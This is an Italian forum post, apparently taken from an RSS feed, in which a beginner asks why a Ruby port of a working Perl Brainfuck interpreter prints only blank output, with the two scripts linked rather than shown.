Vabbe' che su Google se ne trovano a non finire, pero' mi incuriosisce il fatto che, nonostante i due script siano quasi identici (se non per alcune modifiche per via di Ruby), le esecuzioni producono risultati differenti.<br />
<br />
Questo e' lo script Perl: <a href="http://sprunge.us/jJjU" target="_blank">http://sprunge.us/jJjU</a><br />
Questo e' lo script Ruby: <a href="http://sprunge.us/XFcB" target="_blank">http://sprunge.us/XFcB</a><br />
<br />
Lo script Perl funziona che e' una meraviglia (<a href="http://sprunge.us/eYRc" target="_blank">codice Brainfuck</a>):<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>sh&#36; perl main.pl source<br />
Hello World!</code></div></div>
<br />
Lo script Ruby fa cagare che e' una meraviglia:<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>sh&#36; ruby main.rb source<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</code></div></div>
<br />
Molto probabilmente e' una cazzata, ma sono alle prime armi con Ruby...<br />
<br />
Grazie in anticipo. ^_^]]></content:encoded>
		</item>
	</channel>
</rss>